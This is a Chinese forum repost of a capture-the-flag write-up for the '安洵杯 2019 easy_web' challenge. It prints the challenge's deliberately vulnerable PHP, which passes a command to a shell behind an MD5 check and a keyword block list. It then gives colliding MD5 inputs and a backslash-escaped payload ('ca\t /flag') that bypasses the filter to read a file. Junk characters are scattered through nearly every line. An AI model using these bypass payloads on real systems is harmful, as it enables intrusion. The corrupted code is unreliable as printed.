飞雪团队

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 15750|回复: 0

[安洵杯 2019]easy_web

[复制链接]

8566

主题

8654

帖子

2万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
28028
发表于 2022-2-12 14:35:42 | 显示全部楼层 |阅读模式
0 d2 `& {3 ^- K( R% {0 b+ Y
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>
7 X) B% _* }" r<p>&nbsp;</p>
1 F) ?) x: c( d0 Q<p>&nbsp;</p>- ^# u- B# x+ Z; I, t9 m3 \' E5 V! i. W
<p>&nbsp;题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd=,同时查看源代码</p>$ [+ E0 q. t' Q/ n
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>
7 J! [# C7 n  ^# p2 j( e9 Y; l/ D$ M<p>&nbsp;</p>5 r9 D4 r5 D, W9 u* ?! j
<p>&nbsp;</p>
: U9 n. o2 P/ c5 e7 p, j<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>
1 e, q& d* ^$ y5 Y" n<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>
. a; U8 H8 i4 V7 A<p>首先把那个进行一次base64位解码</p>
4 Q# c# y5 Z. k7 V& Z" u1 F<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>
! \- H/ c4 R7 h' \+ W8 A- k<p>&nbsp;</p>! ]  h, M! ?8 i
<p>&nbsp;</p>
. O1 Q6 l; B5 @1 ]* i<p>&nbsp;解码一次以后还是很像base64编码,于是又解码一次</p>8 f+ t0 R) [3 l: a
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>
  E, z9 v: R5 b& W<p>&nbsp;</p>
% r) K8 a- {, B/ ~  ~) w* V2 w/ ?<p>&nbsp;</p>( x% s$ j% F. ^9 w
<p>&nbsp;然后用hex解码一下得到了</p>
* G) A, U  p2 E1 e, B2 u9 b<div class="cnblogs_Highlighter">
) e9 \! H6 J  ]1 I+ g<pre class="brush:sql;gutter:true;">555.png
' a; }% n; f. I0 _. t' T9 F</pre>4 ?5 U6 x0 o4 b% u
</div>
: q% g6 `% K" u! w: H<p>  用同样的方法把index.php进行加密</p>
; c- |$ B' H' f/ {& B<div class="cnblogs_Highlighter">
4 S' [% u9 z2 D) x<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
' ?( j4 U. i& Z, G, J5 [. [6 ?& t</pre>
4 ?# h9 D, s9 C9 B6 I% f! G' k</div>: T, _  E# \% E
<p>  然后输入到地址栏</p>
  D$ X+ w1 A$ Q. r0 u8 y<p>&nbsp;然后查看源代码,把源代码里面的那一串base64的编码解码</p>
- B6 x4 G; l; R: u7 G" i<div class="cnblogs_code">% m" T0 T' p) f# j- s
<pre>&lt;?<span style="color: rgba(0, 0, 0, 1)">php' [9 R4 e/ c8 d
</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);; [1 T1 O( X; e% x& v5 N
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);
- A" `( u/ P* A! a5 w+ A</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];; p$ \+ t7 n1 S1 t& T
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">]))
+ |3 d6 P! D% g( b7 r0 {3 s    </span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&amp;cmd='<span style="color: rgba(0, 0, 0, 1)">);0 y) _. o0 G0 U* q4 o
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));
2 p) A4 `* P1 G; S3 [9 F  Q; L$ h" ~
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);
# ]9 K9 f- r# L</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {  Z) v' t5 a( ]' ^9 w& d
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> '&lt;img src ="./ctf3.jpeg"&gt;'<span style="color: rgba(0, 0, 0, 1)">;
! K$ r/ f" P% h) z7 ^7 m4 l% [    </span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);2 f6 `( M3 B# a  ~# m- Q- t/ O( B
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {) G: \5 H; L2 Y$ W) v9 N( U
    </span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">));
$ N6 P+ K4 e9 `" F# m. e    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'&gt;&lt;/img&gt;"<span style="color: rgba(0, 0, 0, 1)">;
, Q. g4 [$ i  h    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
5 M& \2 T& D+ x% e. V! z& n}
- r; |) K- r' D& `( B# ~% U1 r6 Q</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;
, C% J" Z( f$ w7 `</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;; b9 h2 d% F) U8 K; m6 J" O, J
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&amp;[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|&lt;|&gt;/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {5 U. w& s# }: }' T
    </span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);
. W9 N) n1 ?) ?2 g; Q& N) l3 Y    </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "&lt;br&gt;"<span style="color: rgba(0, 0, 0, 1)">;
2 m2 e4 Y" @8 r" A9 A3 X0 I} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
1 A9 Y( y3 a* d+ [7 k    </span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {  j$ X# V: T1 G5 C8 J. G! p% E8 N
        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
& e  C, \, m" p, S6 _    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {, a5 Q3 t, C, w9 ]/ E' M/ E
        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);6 z) D6 @$ r4 C9 _1 e
    }
0 P! d( [6 N& a* ]( I; d' @; V}$ I/ l2 h: c; ?2 F# h" H# r9 R2 x

% A$ V) b; d  G2 }</span>?&gt;
7 D5 S- W5 [6 W8 r0 q4 q/ s7 w4 u&lt;html&gt;2 z9 y. ?* B" ]& d" C8 Z
&lt;style&gt;<span style="color: rgba(0, 0, 0, 1)">$ C* z4 y& Z+ p& @
  body{$ I3 V- x3 M6 }- S
   background</span>:url(./bj.png)  no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;" P8 o8 S6 h2 n9 |# N
   background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;: U) N4 V2 D+ J# Z+ j7 k
   background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;. v2 A$ Z) w$ j
   background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>
# Z, E6 ~0 U4 U3 `<span style="color: rgba(0, 0, 0, 1)">}% i; s" M& A( w: Z/ F' j5 l* O& q
</span>&lt;/style&gt;
, d& @- o  b9 }. _&lt;body&gt;
6 Y+ v0 O* J& `9 [2 I0 K: S&lt;/body&gt;
6 C. l8 X2 K! ?" q' Q&lt;/html&gt;</pre>) n" o$ S  I9 e$ k
</div>
) T' `% P* l6 t- h<p>结合前面的推断,关键代码就在</p>* r- b- l3 ?: d
<div class="cnblogs_code">: F5 s' c# N0 L# e; Y
<pre>    <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] &amp;&amp; <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {# k& Q. K7 T$ [( M4 C; s
        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;# U1 V. ]( L9 o! X
    } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
" |' v( k) k8 N4 \: h& T  ]4 A5 G        </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
. Z+ }5 d( X, ~1 t# T    }</span></pre>% U* h, p1 _0 _7 e" @
</div>8 C, l  n  S' Z. m, J) r7 o
<p>这种MD5是md5强碰撞</p>
8 w* X8 E" @+ h" b$ i3 y8 j9 t( o<div class="cnblogs_Highlighter">
7 |% h. ~/ T0 x2 p# f<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2' B& Z0 U8 V# L- g% @  U4 \
</pre>2 m- ~3 [$ G7 H" K7 v$ ?
</div>. g: z* [& E' n9 x- _9 X9 b) J- T
<div class="cnblogs_Highlighter">
. `) A4 h# x3 l, Z& ?6 K<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2$ M' W8 d; n4 i" b+ ]& `/ q8 K$ l- n
</pre>7 ^6 M$ x, l/ m% `0 g8 U
</div>
) G7 F1 }% ~9 y& y6 v<p>  只需要这样就可以把cmd里面的当成命令来处理。</p>
4 Y) f. b! i* A8 w$ S% W5 t4 q; D3 n# Y<p>于是采用payload:</p>
; X+ p: F; e+ K( [<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>
+ Q' ]$ Y. [3 `/ j: s5 L1 J<p>&nbsp;</p>
& z# L8 t5 P' |5 }2 D<p>&nbsp;因为'\'并没有被屏蔽所以可以这么绕过</p>
3 v/ d( c- T0 A5 }* f7 Q<p>ls和l\s在命令执行的时候结果是一样的。</p>+ A  Q9 u1 N. C
<p>然后发现根目录里面有/flag</p>
; f+ D0 N* _- d5 E5 E<p>于是payload:</p>
! f  w7 l% f" q' h$ M5 \" H# C4 u<div class="cnblogs_Highlighter">% u1 @' J8 K$ q: C1 \. P# Y/ z
<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag
+ J( \5 O' ~; e- ~3 z  M</pre>
  e: l* z/ G8 G/ g: c+ G</div>
7 O" ?6 g+ X7 C2 \; R; a<p>  对于这个题目,因为他没有屏蔽sort和dir</p>/ W' z7 |4 J* ?# u' U
<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>' T, @8 a  Z, U3 |+ L4 g3 v- K
<p>&nbsp;</p>
" U; u# c9 Y  `
回复

使用道具 举报

懒得打字嘛,点击右侧快捷回复 【右侧内容,后台自定义】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|飞雪团队

GMT+8, 2026-4-16 23:27 , Processed in 0.062037 second(s), 21 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表